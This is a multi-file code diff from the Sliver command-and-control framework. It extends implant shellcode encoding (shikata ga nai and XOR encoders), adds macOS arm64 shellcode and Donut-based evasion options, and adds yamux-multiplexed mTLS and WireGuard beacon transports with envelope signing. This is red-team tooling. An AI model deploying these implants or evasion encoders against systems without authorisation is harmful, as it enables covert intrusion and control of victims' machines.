if !config.SGNEnabled {
con.PrintErrorf("Shikata ga nai encoder is %sdisabled%s\n", console.Bold, console.Normal)
} else {
con.PrintInfof("Encoding shellcode with shikata ga nai ... ")
resp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
Encoder: clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
Architecture: config.GOARCH,
Iterations: 1,
BadChars: []byte{},
Data: fileData,
})
if err != nil {
con.PrintErrorf("%s\n", err)
encoder := config.ShellcodeEncoder
legacySGN := false
if encoder == clientpb.ShellcodeEncoder_NONE && config.SGNEnabled {
encoder = clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
legacySGN = true
}
if encoder != clientpb.ShellcodeEncoder_NONE {
encoderName := map[clientpb.ShellcodeEncoder]string{
clientpb.ShellcodeEncoder_SHIKATA_GA_NAI: "shikata_ga_nai",
clientpb.ShellcodeEncoder_XOR: "xor",
clientpb.ShellcodeEncoder_XOR_DYNAMIC: "xor_dynamic",
}[encoder]
if encoderName == "" {
con.PrintWarnf("Unknown shellcode encoder enum %d, skipping.\n", int32(encoder))
} else {
con.Printf("success!\n")
fileData = resp.GetData()
encoderMap, err := fetchShellcodeEncoderMap(con)
if err != nil {
return nil, err
}
if _, ok := shellcodeEncoderEnumForArch(encoderMap, config.GOARCH, encoderName); !ok {
msg := fmt.Sprintf("Shellcode encoder %q is not supported for arch %s", encoderName, normalizeShellcodeArch(config.GOARCH))
if legacySGN {
con.PrintWarnf("%s, skipping.\n", msg)
} else {
con.PrintErrorf("%s\n", msg)
return nil, errors.New(msg)
}
} else {
con.PrintInfof("Encoding shellcode with %s ... ", encoderName)
resp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
Encoder: encoder,
Architecture: config.GOARCH,
Iterations: 1,
BadChars: []byte{},
Data: fileData,
})
if err != nil {
con.PrintErrorf("%s\n", err)
} else {
con.Printf("success!\n")
fileData = resp.GetData()
}
}
}
}
}
+43 -12
View File
@@ -2,6 +2,7 @@ package generate
import (
"context"
"errors"
"fmt"
"strings"
@@ -30,19 +31,49 @@ func GetSliverBinary(profile *clientpb.ImplantProfile, con *console.SliverClient
}
data = generated.GetFile().GetData()
if profile.Config.Format == clientpb.OutputFormat_SHELLCODE && profile.Config.SGNEnabled {
encodeResp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
Encoder: clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
Architecture: profile.Config.GOARCH,
Iterations: 1,
BadChars: []byte{},
Data: data,
})
if err != nil {
con.PrintErrorf("Error encoding shellcode")
return nil, err
if profile.Config.Format == clientpb.OutputFormat_SHELLCODE {
encoder := profile.Config.ShellcodeEncoder
legacySGN := false
if encoder == clientpb.ShellcodeEncoder_NONE && profile.Config.SGNEnabled {
encoder = clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
legacySGN = true
}
if encoder != clientpb.ShellcodeEncoder_NONE {
encoderName := map[clientpb.ShellcodeEncoder]string{
clientpb.ShellcodeEncoder_SHIKATA_GA_NAI: "shikata_ga_nai",
clientpb.ShellcodeEncoder_XOR: "xor",
clientpb.ShellcodeEncoder_XOR_DYNAMIC: "xor_dynamic",
}[encoder]
if encoderName == "" {
return nil, fmt.Errorf("unknown shellcode encoder enum %d", int32(encoder))
}
encoderMap, err := fetchShellcodeEncoderMap(con)
if err != nil {
return nil, err
}
if _, ok := shellcodeEncoderEnumForArch(encoderMap, profile.Config.GOARCH, encoderName); !ok {
msg := fmt.Sprintf("shellcode encoder %q is not supported for arch %s", encoderName, normalizeShellcodeArch(profile.Config.GOARCH))
if legacySGN {
con.PrintWarnf("%s, skipping.\n", msg)
} else {
return nil, errors.New(msg)
}
} else {
encodeResp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
Encoder: encoder,
Architecture: profile.Config.GOARCH,
Iterations: 1,
BadChars: []byte{},
Data: data,
})
if err != nil {
con.PrintErrorf("Error encoding shellcode")
return nil, err
}
data = encodeResp.Data
}
}
data = encodeResp.Data
}
_, err = con.Rpc.SaveImplantProfile(context.Background(), profile)
+36 -3
View File
@@ -20,8 +20,10 @@ package generate
import (
"os"
"strings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/spf13/cobra"
)
@@ -44,9 +46,40 @@ func ProfilesGenerateCmd(cmd *cobra.Command, con *console.SliverClient, args []s
}
profile := GetImplantProfileByName(name, con)
if profile != nil {
// If SGN is explicitly disabled, make sure this compilation reflects that despite whatever is set in the profile
if SGNDisabled, _ := cmd.Flags().GetBool("disable-sgn"); SGNDisabled {
profile.Config.SGNEnabled = !SGNDisabled
// Override shellcode encoder if explicitly requested.
if cmd.Flags().Changed("shellcode-encoder") {
rawEncoder, _ := cmd.Flags().GetString("shellcode-encoder")
rawEncoder = strings.TrimSpace(rawEncoder)
if rawEncoder == "" {
con.PrintErrorf("shellcode-encoder cannot be empty; use 'none' to disable encoding\n")
return
}
normalized := normalizeShellcodeEncoderName(rawEncoder)
if normalized == "none" {
profile.Config.ShellcodeEncoder = clientpb.ShellcodeEncoder_NONE
profile.Config.SGNEnabled = false
} else if profile.Config.Format != clientpb.OutputFormat_SHELLCODE {
con.PrintWarnf("Shellcode encoder only applies when using `--format shellcode`, ignoring.\n")
} else {
encoderMap, err := fetchShellcodeEncoderMap(con)
if err != nil {
con.PrintErrorf("Failed to fetch shellcode encoders: %s\n", err)
return
}
encoder, ok := shellcodeEncoderEnumForArch(encoderMap, profile.Config.GOARCH, rawEncoder)
if !ok {
compatible := compatibleShellcodeEncoderNames(encoderMap, profile.Config.GOARCH)
if len(compatible) == 0 {
con.PrintErrorf("No shellcode encoders are available for arch %s\n", normalizeShellcodeArch(profile.Config.GOARCH))
} else {
con.PrintErrorf("Unsupported shellcode encoder %q for arch %s (valid: %s)\n", rawEncoder, normalizeShellcodeArch(profile.Config.GOARCH), strings.Join(compatible, ", "))
}
return
}
profile.Config.ShellcodeEncoder = encoder
profile.Config.SGNEnabled = encoder == clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
}
}
_, err := compile(implantName, profile.Config, save, con)
if err != nil {
+17 -6
View File
@@ -165,10 +165,21 @@ func populateProfileProperties(config *clientpb.ImplantConfig) map[string]string
properties["obsymbols"] = "disabled"
}
if config.SGNEnabled {
properties["sgn"] = "enabled"
} else {
properties["sgn"] = "disabled"
properties["shellcodeencoder"] = "n/a"
if config.Format == clientpb.OutputFormat_SHELLCODE {
encoder := config.ShellcodeEncoder
if encoder == clientpb.ShellcodeEncoder_NONE && config.SGNEnabled {
encoder = clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
}
properties["shellcodeencoder"] = map[clientpb.ShellcodeEncoder]string{
clientpb.ShellcodeEncoder_NONE: "none",
clientpb.ShellcodeEncoder_SHIKATA_GA_NAI: "shikata_ga_nai",
clientpb.ShellcodeEncoder_XOR: "xor",
clientpb.ShellcodeEncoder_XOR_DYNAMIC: "xor_dynamic",
}[encoder]
if properties["shellcodeencoder"] == "" {
properties["shellcodeencoder"] = fmt.Sprintf("unknown (%d)", int32(encoder))
}
}
reconnect := int(config.ReconnectInterval / int64(math.Pow10(9)))
@@ -311,8 +322,8 @@ func PrintProfileInfo(name string, con *console.SliverClient) {
properties["obsymbols"],
})
tw.AppendRow(table.Row{
"Shikata Ga Nai (SGN) is",
properties["sgn"],
"Shellcode encoder is",
properties["shellcodeencoder"],
})
con.PrintInfof("Obfuscation\n")
+13 -12
View File
@@ -182,8 +182,8 @@ You can also stack the C2 configuration with multiple protocols:
[[.Bold]][[.Underline]]++ Formats ++[[.Normal]]
Supported output formats are Windows PE, Windows DLL, Windows Shellcode, Mach-O, and ELF. The output format is controlled
with the --os and --format flags.
Supported output formats include Windows PE, Windows DLL, Windows shellcode, macOS Mach-O, macOS shellcode (arm64),
and Linux ELF. The output format is controlled with the --os and --format flags.
To output a 64bit Windows PE file (defaults to WinPE/64bit), either of the following command would be used:
generate --mtls foo.example.com
@@ -199,16 +199,17 @@ To output a Linux ELF executable file, the following command would be used:
generate --os linux --mtls foo.example.com
[[.Bold]][[.Underline]]++ Donut Shellcode Options ++[[.Normal]]
When generating Windows shellcode (--format shellcode), you can tune Donut:
--donut-entropy 1|2|3 # Entropy: 1=none (default), 2=random names, 3=random+encrypt
--donut-compress 0|1 # Compression: 0=off (default), 1=aplib
--donut-exitopt 1|2|3 # Exit behavior: 1=exit thread (default), 2=exit process, 3=block
--donut-bypass 1|2|3 # Bypass: 1=none, 2=abort on failure, 3=continue (default)
--donut-headers 1|2 # PE headers: 1=overwrite (default), 2=keep
--donut-thread 0|1 # Unmanaged EXE: run entrypoint as a new thread (default 0)
--donut-unicode 0|1 # Unmanaged DLL: pass Unicode command line (default 0)
--donut-oep <uint32> # Override original entry point (0=default)
[[.Bold]][[.Underline]]++ Shellcode Options ++[[.Normal]]
When generating shellcode (--format shellcode), you can tune the shellcode generator:
--shellcode-encoder <name|none> # Apply a shellcode encoder (see: shellcode-encoders)
--shellcode-compress # Enable aPLib compression (windows and macOS)
--shellcode-entropy 1|2|3 # (windows only) Entropy: 1=none (default), 2=random names, 3=random+encrypt
--shellcode-exitopt 1|2|3 # (windows only) Exit behavior: 1=exit thread (default), 2=exit process, 3=block
--shellcode-bypass 1|2|3 # (windows only) Bypass: 1=none, 2=abort on failure, 3=continue (default)
--shellcode-headers 1|2 # (windows only) PE headers: 1=overwrite (default), 2=keep
--shellcode-thread # (windows only) Unmanaged EXE: run entrypoint as a new thread
--shellcode-unicode # (windows only) Unmanaged DLL: pass Unicode command line
--shellcode-oep <uint32> # (windows only) Override original entry point (0=default)
[[.Bold]][[.Underline]]++ DNS Canaries ++[[.Normal]]
+2 -1
View File
@@ -32,12 +32,13 @@ func WGListenerCmd(cmd *cobra.Command, con *console.SliverClient, args []string)
nport, _ := cmd.Flags().GetUint32("nport")
keyExchangePort, _ := cmd.Flags().GetUint32("key-port")
con.PrintInfof("Starting Wireguard listener ...\n")
con.PrintInfof("Starting Wireguard listener (udp:%d, tcp-comms:%d, key-exchange:%d) ...\n", lport, nport, keyExchangePort)
wg, err := con.Rpc.StartWGListener(context.Background(), &clientpb.WGListenerReq{
Port: lport,
NPort: nport,
KeyPort: keyExchangePort,
})
con.Println()
if err != nil {
con.PrintErrorf("%s\n", err)
} else {
@@ -30,6 +30,8 @@ func normalizeShellcodeArch(arch string) string {
return "amd64"
case "386", "x86", "i386":
return "386"
case "arm64", "aarch64":
return "arm64"
default:
return normalized
}
+2
View File
@@ -64,6 +64,8 @@ func commonFormatOptions(goos string) []huh.Option[string] {
huh.NewOption("Service", "service"),
huh.NewOption("Shellcode", "shellcode"),
)
} else if goos == "darwin" {
options = append(options, huh.NewOption("Shellcode", "shellcode"))
}
return options
}
+10 -10
View File
@@ -33,21 +33,21 @@ Name Platform Command & Control Debug Format
win-shellcode windows/amd64 [1] mtls://192.168.122.1:8888 false SHELLCODE enabled
```
You can tune Donut options for Windows shellcode profiles:
You can tune shellcode options for shellcode profiles (Windows: Donut):
- `--donut-entropy`: 1=none, 2=random names, 3=random+encrypt
- `--donut-compress`: enable/disable aplib compression (boolean)
- `--donut-exitopt`: 1=exit thread, 2=exit process, 3=block
- `--donut-bypass`: 1=none, 2=abort on failure, 3=continue
- `--donut-headers`: 1=overwrite, 2=keep
- `--donut-thread`: run unmanaged EXE entrypoint as a new thread (boolean)
- `--donut-unicode`: pass Unicode command line to unmanaged DLL entrypoints (boolean)
- `--donut-oep`: override original entry point (uint32, 0=default)
- `--shellcode-entropy`: 1=none, 2=random names, 3=random+encrypt
- `--shellcode-compress`: enable/disable aPLib compression (boolean)
- `--shellcode-exitopt`: 1=exit thread, 2=exit process, 3=block
- `--shellcode-bypass`: 1=none, 2=abort on failure, 3=continue
- `--shellcode-headers`: 1=overwrite, 2=keep
- `--shellcode-thread`: run unmanaged EXE entrypoint as a new thread (boolean)
- `--shellcode-unicode`: pass Unicode command line to unmanaged DLL entrypoints (boolean)
- `--shellcode-oep`: override original entry point (uint32, 0=default)
Example:
```
sliver > profiles new --mtls 192.168.122.1 --format shellcode --donut-entropy 2 --donut-compress --donut-exitopt 3 win-shellcode
sliver > profiles new --mtls 192.168.122.1 --format shellcode --shellcode-entropy 2 --shellcode-compress --shellcode-exitopt 3 win-shellcode
```
We can now create a staging listener and link it to the profile:
@@ -138,7 +138,7 @@
[14.179375, "o", "\u001b[214D\u001b[24C\u001b[0J\u001b[214D\r\r\n"]
[14.182566, "o", "\u001b[0 q\r\n"]
[14.190363, "o", "\u001b[1mCommand:\u001b[0m new <options> <profile name>\r\n\u001b[1mAbout:\u001b[0m Create a new profile with a given name and options, a name is required.\r\n\r\n\u001b[1m\u001b[4m++ Profiles ++\u001b[0m\r\nProfiles are an easy way to save an implant configuration and easily generate multiple copies of the binary with the same\r\nsettings. Generated implants will still have per-binary certificates/obfuscation/etc. This command is used with \"profiles generate\":\r\n\tprofiles new --mtls foo.example.com --canary 1.foobar.com my-profile-name\r\n\tprofiles generate my-profile-name\r\n\r\n"]
[14.198714, "o", "Usage:\r\n profiles new [flags]\r\n profiles new [command]\r\n\r\nAvailable Commands:\r\n beacon Create a new implant profile (beacon)\r\n\r\nFlags:\r\n -a, --arch string cpu architecture (default \"amd64\")\r\n -C, --c2profile string HTTP C2 profile to use (default \"default\")\r\n -c, --canary string canary domain(s)\r\n -d, --debug enable debug features\r\n -O, --debug-file string path to debug output\r\n -G, --disable-sgn disable shikata ga nai shellcode encoder\r\n -n, --dns string dns connection strings\r\n -e, --evasion enable evasion features (e.g. overwrite user space hooks)\r\n -E, --external-builder use an external builder\r\n -f, --format psexec Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: psexec for more info) and 'shellcode' (windows only) (default \"exe\")\r\n -h, --help help for new\r\n -b, --http string "]
[14.198714, "o", "Usage:\r\n profiles new [flags]\r\n profiles new [command]\r\n\r\nAvailable Commands:\r\n beacon Create a new implant profile (beacon)\r\n\r\nFlags:\r\n -a, --arch string cpu architecture (default \"amd64\")\r\n -C, --c2profile string HTTP C2 profile to use (default \"default\")\r\n -c, --canary string canary domain(s)\r\n -d, --debug enable debug features\r\n -O, --debug-file string path to debug output\r\n --shellcode-encoder string shellcode encoder to apply (optional; see shellcode-encoders)\r\n -n, --dns string dns connection strings\r\n -e, --evasion enable evasion features (e.g. overwrite user space hooks)\r\n -E, --external-builder use an external builder\r\n -f, --format psexec Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: psexec for more info) and 'shellcode' (windows only) (default \"exe\")\r\n -h, --help help for new\r\n -b, --http string "]
[14.200627, "o", " http(s) connection strings\r\n -X, --key-exchange uint32 wg key-exchange port (default 1337)\r\n -w, --limit-datetime string limit execution to before datetime\r\n -x, --limit-domainjoined limit execution to domain joined machines\r\n -F, --limit-fileexists string limit execution to hosts with this file in the filesystem\r\n -z, --limit-hostname string limit execution to specified hostname\r\n -L, --limit-locale string limit execution to hosts that match this locale\r\n -y, --limit-username string limit execution to specified username\r\n -k, --max-errors uint32 max number of connection errors (default 1000)\r\n -m, --mtls string mtls connection strings\r\n -N, --name string agent name\r\n -p, --named-pipe string named-pipe connection strings\r\n -q, --netgo force the use of netgo\r\n -o, --os string operating system (default \"windows\")\r\n -P, --poll-timeout int long poll request timeout (d"]
[14.201749, "o", "efault 360)\r\n -j, --reconnect int attempt to reconnect every n second(s) (default 60)\r\n -R, --run-at-load run the implant entrypoint from DllMain/Constructor (shared library only)\r\n -s, --save string directory/file to the binary to\r\n -l, --skip-symbols skip symbol obfuscation\r\n -Z, --strategy string specify a connection strategy (r = random, rd = random domain, s = sequential)\r\n -T, --tcp-comms uint32 wg c2 comms port (default 8888)\r\n -i, --tcp-pivot string tcp-pivot connection strings\r\n -I, --template string implant code template (default \"sliver\")\r\n -A, --traffic-encoders string comma separated list of traffic encoders to enable\r\n -g, --wg string wg connection strings\r\n\r\nGlobal Flags:\r\n -t, --timeout int grpc timeout in seconds (default 60)\r\n\r\nUse \" profiles new [command] --help\" for more information about a command.\r\n\r\n"]
[14.21267, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
@@ -623,7 +623,7 @@
[44.607989, "o", "\u001b[214D\u001b[27C\u001b[0J\u001b[214D\r\r\n"]
[44.608789, "o", "\u001b[0 q\r\n"]
[44.626856, "o", "Error: accepts 1 arg(s), received 0\r\n"]
[44.629236, "o", "Usage:\r\n profiles generate [flags]\r\n\r\nFlags:\r\n -G, --disable-sgn disable shikata ga nai shellcode encoder\r\n -h, --help help for generate\r\n -s, --save string directory/file to the binary to\r\n\r\nGlobal Flags:\r\n -t, --timeout int grpc timeout in seconds (default 60)\r\n\r\n"]
[44.629236, "o", "Usage:\r\n profiles generate [flags]\r\n\r\nFlags:\r\n --shellcode-encoder string shellcode encoder to apply (optional; see shellcode-encoders)\r\n -h, --help help for generate\r\n -s, --save string directory/file to the binary to\r\n\r\nGlobal Flags:\r\n -t, --timeout int grpc timeout in seconds (default 60)\r\n\r\n"]
[44.630687, "o", "\r\n"]
[44.6392, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[44.639589, "o", "\u001b[1 q\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
+26
View File
@@ -98,6 +98,13 @@ else
exit 1
fi
# implant / sliver / transports / wireguard
if go test ./implant/sliver/transports/wireguard ; then
:
else
exit 1
fi
## Server
# server / assets / traffic encoders
@@ -154,6 +161,14 @@ else
exit 1
fi
# server / encoders / shellcode / arm64
if go test -tags=server,$TAGS ./server/encoders/shellcode/arm64 ; then
:
else
cat ~/.sliver/logs/sliver.log
exit 1
fi
# server / gogo / goname
if go test -tags=server,$TAGS ./server/gogo/goname ; then
:
@@ -178,6 +193,17 @@ else
exit 1
fi
# server / c2 / e2e (mtls + wg + yamux)
SLIVER_ROOT_DIR_E2E="$(mktemp -d)"
if SLIVER_ROOT_DIR="$SLIVER_ROOT_DIR_E2E" go test -tags=server,$TAGS,sliver_e2e ./server/c2 -run 'Test(MTLS|WG)Yamux_' -count=1 ; then
:
else
cat "$SLIVER_ROOT_DIR_E2E/logs/sliver.log" 2>/dev/null || true
rm -rf "$SLIVER_ROOT_DIR_E2E"
exit 1
fi
rm -rf "$SLIVER_ROOT_DIR_E2E"
# server / configs
if go test -tags=server,$TAGS ./server/configs ; then
:
+3 -1
View File
@@ -30,6 +30,7 @@ require (
github.com/google/uuid v1.6.0
github.com/gorilla/mux v1.8.1
github.com/grpc-ecosystem/go-grpc-middleware v1.4.0
github.com/hashicorp/yamux v0.1.2
github.com/jedib0t/go-pretty/v6 v6.7.8
github.com/kbinani/screenshot v0.0.0-20250624051815-089614a94018
github.com/klauspost/compress v1.18.1
@@ -46,6 +47,7 @@ require (
github.com/reeflective/readline v1.1.4
github.com/rsteube/carapace v0.50.2
github.com/sirupsen/logrus v1.9.3
github.com/sliverarmory/beignet v0.0.2
github.com/sliverarmory/wasm-donut v0.0.3
github.com/spf13/cobra v1.10.2
github.com/spf13/pflag v1.0.10
@@ -274,7 +276,7 @@ require (
github.com/mdlayher/socket v0.5.1 // indirect
github.com/mitchellh/go-ps v1.0.0 // indirect
github.com/mitchellh/hashstructure/v2 v2.0.2 // indirect
github.com/moloch--/go-keystone v0.0.2 // indirect
github.com/moloch--/go-keystone v0.0.2
github.com/muesli/ansi v0.0.0-20230316100256-276c6243b2f6 // indirect
github.com/muesli/cancelreader v0.2.2 // indirect
github.com/muesli/termenv v0.16.0 // indirect
+4 -2
View File
@@ -423,6 +423,8 @@ github.com/h2non/parth v0.0.0-20190131123155-b4df798d6542/go.mod h1:Ow0tF8D4Kplb
github.com/hashicorp/go-uuid v1.0.2/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro=
github.com/hashicorp/go-uuid v1.0.3 h1:2gKiV6YVmrJ1i2CKKa9obLvRieoRGviZFL26PcT/Co8=
github.com/hashicorp/go-uuid v1.0.3/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro=
github.com/hashicorp/yamux v0.1.2 h1:XtB8kyFOyHXYVFnwT5C3+Bdo8gArse7j2AQ0DA0Uey8=
github.com/hashicorp/yamux v0.1.2/go.mod h1:C+zze2n6e/7wshOZep2A70/aQU6QBRWJO/G6FT1wIns=
github.com/hdevalence/ed25519consensus v0.2.0 h1:37ICyZqdyj0lAZ8P4D1d1id3HqbbG1N3iBb1Tb4rdcU=
github.com/hdevalence/ed25519consensus v0.2.0/go.mod h1:w3BHWjwJbFU29IRHL1Iqkw3sus+7FctEyM4RqDxYNzo=
github.com/hexops/gotextdiff v1.0.3 h1:gitA9+qJrrTCsiCl7+kh75nPqQt1cx4ZkudSTLoUqJM=
@@ -661,8 +663,8 @@ github.com/sirupsen/logrus v1.9.3 h1:dueUQJ1C2q9oE3F7wvmSGAaVtTmUizReu6fjN8uqzbQ
github.com/sirupsen/logrus v1.9.3/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ=
github.com/slack-go/slack v0.17.3 h1:zV5qO3Q+WJAQ/XwbGfNFrRMaJ5T/naqaonyPV/1TP4g=
github.com/slack-go/slack v0.17.3/go.mod h1:X+UqOufi3LYQHDnMG1vxf0J8asC6+WllXrVrhl8/Prk=
github.com/sliverarmory/wasm-donut v0.0.2 h1:XAiV5MxDhSqnq4J45dZEM4u9JIN5aI1enhqNjiFGdtM=
github.com/sliverarmory/wasm-donut v0.0.2/go.mod h1:D6OLBZBfFm2Tk857vqGqFS9uUi4CXqnqHxKqtONllVk=
github.com/sliverarmory/beignet v0.0.2 h1:kUpztl/yEKp/U3FFulguC7r+qKjmBIg0AwLKJnZpDVA=
github.com/sliverarmory/beignet v0.0.2/go.mod h1:xXfTKBJqFBY/pakRFwJ+5+oGiSlg2CiCVUg/76kW1H4=
github.com/sliverarmory/wasm-donut v0.0.3 h1:sldbfAsz1YziULlhDKpU3DY/+/dAfv5gl26qSqHIpzE=
github.com/sliverarmory/wasm-donut v0.0.3/go.mod h1:D6OLBZBfFm2Tk857vqGqFS9uUi4CXqnqHxKqtONllVk=
github.com/sony/sonyflake v1.0.0 h1:MpU6Ro7tfXwgn2l5eluf9xQvQJDROTBImNCfRXn/YeM=
+1
View File
@@ -7,6 +7,7 @@ require (
github.com/Binject/universal v0.0.0-20220519011857-bea739e758c0
github.com/Ne0nd0g/go-clr v1.0.3
github.com/gofrs/uuid v4.0.0+incompatible
github.com/hashicorp/yamux v0.1.2
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
github.com/lesnuages/go-winio v0.4.19
github.com/miekg/dns v1.1.50
+2
View File
@@ -27,6 +27,8 @@ github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI=
github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY=
github.com/hashicorp/go-uuid v1.0.2 h1:cfejS+Tpcp13yd5nYHWDI6qVCny6wyX2Mt5SGur2IGE=
github.com/hashicorp/go-uuid v1.0.2/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro=
github.com/hashicorp/yamux v0.1.2 h1:XtB8kyFOyHXYVFnwT5C3+Bdo8gArse7j2AQ0DA0Uey8=
github.com/hashicorp/yamux v0.1.2/go.mod h1:C+zze2n6e/7wshOZep2A70/aQU6QBRWJO/G6FT1wIns=
github.com/jcmturner/gofork v1.0.0 h1:J7uCkflzTEhUZ64xqKnkDxq3kzc96ajM1Gli5ktUem8=
github.com/jcmturner/gofork v1.0.0/go.mod h1:MK8+TM0La+2rjBD4jE12Kj1pCCxK7d2LK/UM3ncEo0o=
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f h1:5hWo+DzJQSOBl6X+TDac0SPWffRonuRJ2///OYtYRT8=
@@ -0,0 +1,43 @@
package cryptography
import (
"encoding/binary"
"golang.org/x/crypto/blake2b"
"golang.org/x/crypto/ed25519"
)
// MinisignVerifyRaw - Verify a fixed-length raw minisign signature (binary) using
// the server's bundled minisign public key.
func MinisignVerifyRaw(message []byte, rawSig []byte) bool {
if len(rawSig) != RawSigSize {
return false
}
serverPublicKey, err := DecodeMinisignPublicKey(serverMinisignPublicKey)
if err != nil {
return false
}
algorithm := binary.LittleEndian.Uint16(rawSig[:2])
keyID := binary.LittleEndian.Uint64(rawSig[2:10])
if keyID != serverPublicKey.ID() {
return false
}
switch algorithm {
case EdDSA:
// Verify as-is.
case HashEdDSA:
digest := blake2b.Sum512(message)
message = digest[:]
default:
return false
}
signature := rawSig[10:]
if len(signature) != ed25519.SignatureSize {
return false
}
return ed25519.Verify(ed25519.PublicKey(serverPublicKey.PublicKey[:]), message, signature)
}
+65 -12
View File
@@ -36,6 +36,11 @@ import (
// {{end}}
// {{if or .Config.IncludeMTLS .Config.IncludeWG}}
"github.com/hashicorp/yamux"
// {{end}}
// {{if .Config.IncludeHTTP}}
"github.com/bishopfox/sliver/implant/sliver/transports/httpclient"
// {{end}}
@@ -192,6 +197,7 @@ func mtlsBeacon(uri *url.URL) *Beacon {
}
var conn *tls.Conn
var muxSession *yamux.Session
beacon := &Beacon{
ActiveC2: uri.String(),
Init: func() error {
@@ -202,15 +208,38 @@ func mtlsBeacon(uri *url.URL) *Beacon {
if err != nil {
return err
}
if _, err := conn.Write([]byte(mtls.YamuxPreface)); err != nil {
_ = conn.Close()
return err
}
muxSession, err = yamux.Client(conn, nil)
if err != nil {
_ = conn.Close()
return err
}
return nil
},
Recv: func() (*pb.Envelope, error) {
return mtls.ReadEnvelope(conn)
stream, err := muxSession.Accept()
if err != nil {
return nil, err
}
defer stream.Close()
return mtls.ReadEnvelope(stream)
},
Send: func(envelope *pb.Envelope) error {
return mtls.WriteEnvelope(conn, envelope)
stream, err := muxSession.Open()
if err != nil {
return err
}
defer stream.Close()
return mtls.WriteEnvelope(stream, envelope)
},
Close: func() error {
if muxSession != nil {
_ = muxSession.Close()
muxSession = nil
}
if conn != nil {
err = conn.Close()
if err != nil {
@@ -242,6 +271,7 @@ func wgBeacon(uri *url.URL) *Beacon {
var conn net.Conn
var dev *device.Device
var muxSession *yamux.Session
beacon := &Beacon{
ActiveC2: uri.String(),
Init: func() error {
@@ -260,25 +290,48 @@ func wgBeacon(uri *url.URL) *Beacon {
if err != nil {
return err
}
if _, err := conn.Write([]byte(wireguard.YamuxPreface)); err != nil {
_ = conn.Close()
_ = dev.Down()
return err
}
muxSession, err = yamux.Client(conn, nil)
if err != nil {
_ = conn.Close()
_ = dev.Down()
return err
}
return nil
},
Recv: func() (*pb.Envelope, error) {
return wireguard.ReadEnvelope(conn)
stream, err := muxSession.Accept()
if err != nil {
return nil, err
}
defer stream.Close()
return wireguard.ReadEnvelope(stream)
},
Send: func(envelope *pb.Envelope) error {
return wireguard.WriteEnvelope(conn, envelope)
stream, err := muxSession.Open()
if err != nil {
return err
}
defer stream.Close()
return wireguard.WriteEnvelope(stream, envelope)
},
Close: func() error {
err = conn.Close()
if err != nil {
return err
if muxSession != nil {
_ = muxSession.Close()
muxSession = nil
}
err = dev.Down()
if err != nil {
return err
if conn != nil {
_ = conn.Close()
conn = nil
}
if dev != nil {
_ = dev.Down()
dev = nil
}
conn = nil
dev = nil
return nil
},
Cleanup: func() error {
+77 -9
View File
@@ -22,12 +22,15 @@ package mtls
import (
"bytes"
"crypto/ed25519"
"crypto/sha256"
"crypto/tls"
"crypto/x509"
"encoding/binary"
"errors"
"fmt"
"io"
"sync"
"time"
// {{if .Config.Debug}}
@@ -35,9 +38,11 @@ import (
// {{end}}
"os"
"strings"
"github.com/bishopfox/sliver/implant/sliver/cryptography"
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
"golang.org/x/crypto/blake2b"
"google.golang.org/protobuf/proto"
)
@@ -45,6 +50,9 @@ var (
// PingInterval - Amount of time between in-band "pings"
PingInterval = 2 * time.Minute
// YamuxPreface - Magic bytes sent before yamux frames
YamuxPreface = "MUX/1"
// caCertPEM - PEM encoded CA certificate
caCertPEM = `{{.Build.MtlsCACert}}`
@@ -52,10 +60,40 @@ var (
certPEM = `{{.Build.MtlsCert}}`
)
const mtlsEnvelopeSigningSeedPrefix = "env-signing-v1:"
var (
envelopeSigningOnce sync.Once
envelopeSigningErr error
envelopeSigningKeyID uint64
envelopeSigningPriv ed25519.PrivateKey
)
func mtlsEnvelopeSigningKey() (ed25519.PrivateKey, uint64, error) {
envelopeSigningOnce.Do(func() {
peerKeyPair := cryptography.GetPeerAgeKeyPair()
// NOTE: This file is rendered with Go's text/template; avoid literal template
// delimiters in string checks or the template parser will treat it as an action.
if peerKeyPair == nil || peerKeyPair.Private == "" || strings.Contains(peerKeyPair.Private, ".Build.PeerPrivateKey") {
envelopeSigningErr = errors.New("[mtls] missing peer private key")
return
}
seed := sha256.Sum256([]byte(mtlsEnvelopeSigningSeedPrefix + peerKeyPair.Private))
envelopeSigningPriv = ed25519.NewKeyFromSeed(seed[:])
pub := envelopeSigningPriv.Public().(ed25519.PublicKey)
digest := blake2b.Sum256(pub)
envelopeSigningKeyID = binary.LittleEndian.Uint64(digest[:8])
})
return envelopeSigningPriv, envelopeSigningKeyID, envelopeSigningErr
}
// WriteEnvelope - Writes a message to the TLS socket using length prefix framing
// which is a fancy way of saying we write the length of the message then the message
// e.g. [uint32 length|message] so the receiver can delimit messages properly
func WriteEnvelope(connection *tls.Conn, envelope *pb.Envelope) error {
